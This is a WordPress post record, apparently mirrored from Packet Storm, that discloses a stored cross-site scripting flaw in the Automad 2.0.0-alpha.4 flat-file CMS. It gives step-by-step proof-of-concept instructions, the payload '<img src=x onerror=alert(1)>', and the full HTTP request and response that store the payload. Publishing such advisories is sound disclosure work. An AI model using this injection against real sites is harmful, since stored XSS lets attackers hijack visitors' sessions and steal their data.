{"id":57695,"date":"2024-06-26T17:50:23","date_gmt":"2024-06-26T14:50:23","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179211\/automad200alpha4-xss.txt"},"modified":"2024-06-26T17:50:23","modified_gmt":"2024-06-26T14:50:23","slug":"automad-2-0-0-alpha-4-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/automad-2-0-0-alpha-4-cross-site-scripting\/","title":{"rendered":"Automad 2.0.0-alpha.4 Cross Site Scripting"},"content":{"rendered":"<p># Exploit Title: Automad 2.0.0-alpha.4 &#8211; Stored Cross-Site Scripting (XSS)<br \/># Date: 20-06-2024<br \/># Exploit Author: Jerry Thomas (w3bn00b3r)<br \/># Vendor Homepage: https:\/\/automad.org<br \/># Software Link: https:\/\/github.com\/marcantondahmen\/automad<br \/># Category: Web Application [Flat File CMS]# Version: 2.0.0-alpha.4<br \/># Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU\/Linux 11<br \/>(bullseye)<\/p>\n<p># Description<\/p>\n<p>A persistent (stored) cross-site scripting (XSS) vulnerability has been<br \/>identified in Automad 2.0.0-alpha.4. This vulnerability enables an attacker<br \/>to inject malicious JavaScript code into the template body. The injected<br \/>code is stored within the flat file CMS and is executed in the browser of<br \/>any user visiting the forum. This can result in session hijacking, data<br \/>theft, and other malicious activities.<\/p>\n<p># Proof-of-Concept<\/p>\n<p>*Step-1:* Login as Admin &amp; Navigate to the endpoint<br \/>http:\/\/localhost\/dashboard\/home<\/p>\n<p>*Step-2:* There will be a default Welcome page. You will find an option to<br \/>edit it.<\/p>\n<p>*Step-3:* Navigate to Content tab or<br \/>http:\/\/localhost\/dashboard\/page?url=%2F&amp;section=text &amp; edit the block named<br \/>***`Main`***<\/p>\n<p>*Step-4:* Enter the XSS Payload &#8211; &lt;img src=x onerror=alert(1)&gt;<\/p>\n<p>*Request:*<\/p>\n<p>POST \/_api\/page\/data HTTP\/1.1<\/p>\n<p>Host: localhost<br \/>Content-Length: 1822<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<br \/>(KHTML, like Gecko) Chrome\/105.0.5195.102 Safari\/537.36<br \/>Content-Type: multipart\/form-data;<br \/>boundary=&#8212;-WebKitFormBoundaryzHmXQBdtZsTYQYCv<br \/>Accept: *\/*<br \/>Origin: http:\/\/localhost<br \/>Referer: http:\/\/localhost\/dashboard\/page?url=%2F&amp;section=text<br \/>Accept-Encoding: gzip, deflate<br \/>Accept-Language: en-US,en;q=0.9<br \/>Cookie:<br \/>Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb<br \/>Connection: close<\/p>\n<p>&#8212;&#8212;WebKitFormBoundaryzHmXQBdtZsTYQYCv<br \/>Content-Disposition: form-data; name=&#8221;__csrf__&#8221;<\/p>\n<p>49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1<br \/>&#8212;&#8212;WebKitFormBoundaryzHmXQBdtZsTYQYCv<br \/>Content-Disposition: form-data; name=&#8221;__json__&#8221;<\/p>\n<p>{&#8220;data&#8221;:{&#8220;title&#8221;:&#8221;Welcome&#8221;,&#8221;+hero&#8221;:{&#8220;blocks&#8221;:[{&#8220;id&#8221;:&#8221;KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph&#8221;,&#8221;type&#8221;:&#8221;paragraph&#8221;,&#8221;data&#8221;:{&#8220;text&#8221;:&#8221;Testing<br \/>for<br \/>xss&#8221;,&#8221;large&#8221;:false},&#8221;tunes&#8221;:{&#8220;layout&#8221;:null,&#8221;spacing&#8221;:{&#8220;top&#8221;:&#8221;&#8221;,&#8221;right&#8221;:&#8221;&#8221;,&#8221;bottom&#8221;:&#8221;&#8221;,&#8221;left&#8221;:&#8221;&#8221;},&#8221;className&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;&#8221;}},{&#8220;id&#8221;:&#8221;bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8&#8243;,&#8221;type&#8221;:&#8221;paragraph&#8221;,&#8221;data&#8221;:{&#8220;text&#8221;:&#8221;&lt;h1&gt;XSS<br \/>identified by<br \/>Jerry&lt;\/h1&gt;&#8221;,&#8221;large&#8221;:false},&#8221;tunes&#8221;:{&#8220;layout&#8221;:null,&#8221;spacing&#8221;:{&#8220;top&#8221;:&#8221;&#8221;,&#8221;right&#8221;:&#8221;&#8221;,&#8221;bottom&#8221;:&#8221;&#8221;,&#8221;left&#8221;:&#8221;&#8221;},&#8221;className&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;&#8221;}}],&#8221;automadVersion&#8221;:&#8221;2.0.0-alpha.4&#8243;},&#8221;+main&#8221;:{&#8220;blocks&#8221;:[{&#8220;id&#8221;:&#8221;lD9sUJki6gn463oRwjcY_ICq5oQPYZVP&#8221;,&#8221;type&#8221;:&#8221;paragraph&#8221;,&#8221;data&#8221;:{&#8220;text&#8221;:&#8221;You<br \/>have successfully installed Automad 2.&lt;br&gt;&lt;br&gt;&lt;img src=x<br \/>onerror=alert(1)&gt;&lt;br&gt;&#8221;,&#8221;large&#8221;:false},&#8221;tunes&#8221;:{&#8220;layout&#8221;:null,&#8221;spacing&#8221;:{&#8220;top&#8221;:&#8221;&#8221;,&#8221;right&#8221;:&#8221;&#8221;,&#8221;bottom&#8221;:&#8221;&#8221;,&#8221;left&#8221;:&#8221;&#8221;},&#8221;className&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;&#8221;}},{&#8220;id&#8221;:&#8221;NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot&#8221;,&#8221;type&#8221;:&#8221;buttons&#8221;,&#8221;data&#8221;:{&#8220;primaryText&#8221;:&#8221;Visit<br \/>Dashboard&#8221;,&#8221;primaryLink&#8221;:&#8221;\/dashboard&#8221;,&#8221;primaryStyle&#8221;:{&#8220;borderWidth&#8221;:&#8221;2px&#8221;,&#8221;borderRadius&#8221;:&#8221;0.5rem&#8221;,&#8221;paddingVertical&#8221;:&#8221;0.5rem&#8221;,&#8221;paddingHorizontal&#8221;:&#8221;1.5rem&#8221;},&#8221;primaryOpenInNewTab&#8221;:false,&#8221;secondaryText&#8221;:&#8221;&#8221;,&#8221;secondaryLink&#8221;:&#8221;&#8221;,&#8221;secondaryStyle&#8221;:{&#8220;borderWidth&#8221;:&#8221;2px&#8221;,&#8221;borderRadius&#8221;:&#8221;0.5rem&#8221;,&#8221;paddingHorizontal&#8221;:&#8221;1.5rem&#8221;,&#8221;paddingVertical&#8221;:&#8221;0.5rem&#8221;},&#8221;secondaryOpenInNewTab&#8221;:true,&#8221;justify&#8221;:&#8221;start&#8221;,&#8221;gap&#8221;:&#8221;1rem&#8221;},&#8221;tunes&#8221;:{&#8220;layout&#8221;:null,&#8221;spacing&#8221;:{&#8220;top&#8221;:&#8221;&#8221;,&#8221;right&#8221;:&#8221;&#8221;,&#8221;bottom&#8221;:&#8221;&#8221;,&#8221;left&#8221;:&#8221;&#8221;},&#8221;className&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;&#8221;}}],&#8221;automadVersion&#8221;:&#8221;2.0.0-alpha.4&#8243;}},&#8221;theme_template&#8221;:&#8221;project&#8221;,&#8221;dataFetchTime&#8221;:&#8221;1718911139&#8243;,&#8221;url&#8221;:&#8221;\/&#8221;}<br \/>&#8212;&#8212;WebKitFormBoundaryzHmXQBdtZsTYQYCv&#8211;<\/p>\n<p>*Response:*<\/p>\n<p>HTTP\/1.1 200 OK<\/p>\n<p>Server: nginx\/1.24.0<br \/>Date: Thu, 20 Jun 2024 19:17:35 GMT<br \/>Content-Type: application\/json; charset=utf-8<br \/>Connection: close<br \/>X-Powered-By: PHP\/8.3.6<br \/>Expires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>Cache-Control: no-store, no-cache, must-revalidate<br \/>Pragma: no-cache<br \/>Content-Length: 30`<\/p>\n<p>{&#8220;code&#8221;:200,&#8221;time&#8221;:1718911055}<\/p>\n<p>*Step-5:* XSS triggers when you go to homepage &#8211; http:\/\/localhost\/<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Automad 2.0.0-alpha.4 &#8211; Stored Cross-Site Scripting (XSS)# Date: 20-06-2024# Exploit Author: Jerry Thomas (w3bn00b3r)# Vendor Homepage: https:\/\/automad.org# Software Link: https:\/\/github.com\/marcantondahmen\/automad# Category: Web Application [Flat File CMS]# Version: 2.0.0-alpha.4# Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU\/Linux 11(bullseye) # Description A persistent (stored) cross-site scripting (XSS) vulnerability has beenidentified in Automad &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57695","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57695","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57695"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57695\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57695"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57695"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57695"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}